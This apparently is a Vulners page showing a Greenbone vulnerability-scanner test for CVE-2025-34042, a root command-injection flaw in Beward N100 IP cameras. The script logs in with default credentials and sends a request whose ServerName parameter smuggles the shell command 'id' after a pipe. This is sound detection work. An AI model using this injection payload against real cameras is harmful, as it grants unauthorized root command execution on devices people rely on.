| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| CVE-2025-34042 | 26 Jun 202516:51 | – | circl | |
| Beward N100 IP Camera 安全漏洞 | 26 Jun 202500:00 | – | cnnvd | |
| CVE-2025-34042 | 26 Jun 202515:51 | – | cve | |
| CVE-2025-34042 Beward N100 IP Camera Remote Command Execution | 26 Jun 202515:51 | – | cvelist | |
| EUVD-2025-19212 | 3 Oct 202520:07 | – | euvd | |
| CVE-2025-34042 | 26 Jun 202516:15 | – | nvd | |
| PT-2025-26991 | 26 Jun 202500:00 | – | ptsecurity | |
| CVE-2025-34042 | 28 Jun 202516:23 | – | redhatcve | |
| VulnCheck KEV: CVE-2025-34042 | 26 Jun 202500:00 | – | vulncheck_kev | |
| CVE-2025-34042 Beward N100 IP Camera Remote Command Execution | 26 Jun 202515:51 | – | vulnrichment |
# SPDX-FileCopyrightText: 2019 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/h:beward";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.114072");
script_version("2025-07-03T05:42:54+0000");
script_tag(name:"cvss_base", value:"8.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:S/C:C/I:P/A:P");
script_tag(name:"last_modification", value:"2025-07-03 05:42:54 +0000 (Thu, 03 Jul 2025)");
script_tag(name:"creation_date", value:"2019-02-13 15:39:42 +0100 (Wed, 13 Feb 2019)");
script_cve_id("CVE-2025-34042");
script_name("Beward IP Camera Root RCE Vulnerability (Feb 2019) - Active Check");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2019 Greenbone AG");
script_family("Web application abuses");
script_dependencies("gb_beward_ip_camera_consolidation.nasl",
"gb_beward_ip_cameras_default_credentials.nasl");
script_require_ports("Services/www", 80);
script_mandatory_keys("beward/ip_camera/http/detected", "beward/ip_camera/credentials");
script_xref(name:"URL", value:"https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5512.php");
script_xref(name:"URL", value:"https://s4e.io/tools/beward-n100-h264-vga-ip-camera-arbitrary-file-disclosure");
script_xref(name:"URL", value:"https://www.exploit-db.com/exploits/46320");
script_tag(name:"summary", value:"The remote installation of Beward's IP camera software is prone
to a post-authentication root remote code execution (RCE) vulnerability.");
script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");
script_tag(name:"impact", value:"This issue may be exploited by a remote attacker to inject
arbitrary system commands and gain root remote code execution.");
script_tag(name:"insight", value:"The issue exists, because the software allows for injecting
commands into specific requests.");
script_tag(name:"affected", value:"At least versions M2.1.6.04C014 and prior.");
script_tag(name:"solution", value:"No known solution was made available for at least one year
since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
options are to upgrade to a newer release, disable respective features, remove the product or
replace the product by another one.");
script_tag(name:"solution_type", value:"WillNotFix");
script_tag(name:"qod_type", value:"remote_vul");
exit(0);
}
include("host_details.inc");
include("misc_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
if(!info = get_app_port_from_cpe_prefix(cpe: CPE, service: "www"))
exit(0);
CPE = info["cpe"];
port = info["port"];
if(!get_app_location(cpe: CPE, port: port, nofork: TRUE)) # nb: To have a reference to the Detection-VT
exit(0);
if(!creds = get_kb_list("beward/ip_camera/credentials"))
exit(0);
foreach cred(creds) {
url = "/cgi-bin/operator/servetest?cmd=ntp&ServerName=pool.ntp.org|id||&TimeZone=03:00";
req = http_get_req(port: port, url: url, add_headers: make_array("Accept-Encoding", "gzip, deflate",
"Authorization", "Basic " + base64(str: cred)));
res = http_keepalive_send_recv(port: port, data: req);
#uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
if("uid=" >< res && "gid=" >< res && "groups=" >< res) {
report = http_report_vuln_url(port: port, url: url);
report += '\nUsed default credentials for the login and the sent request: (username:password)\n' + cred;
security_message(port: port, data: report);
exit(0);
}
}
exit(99);
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation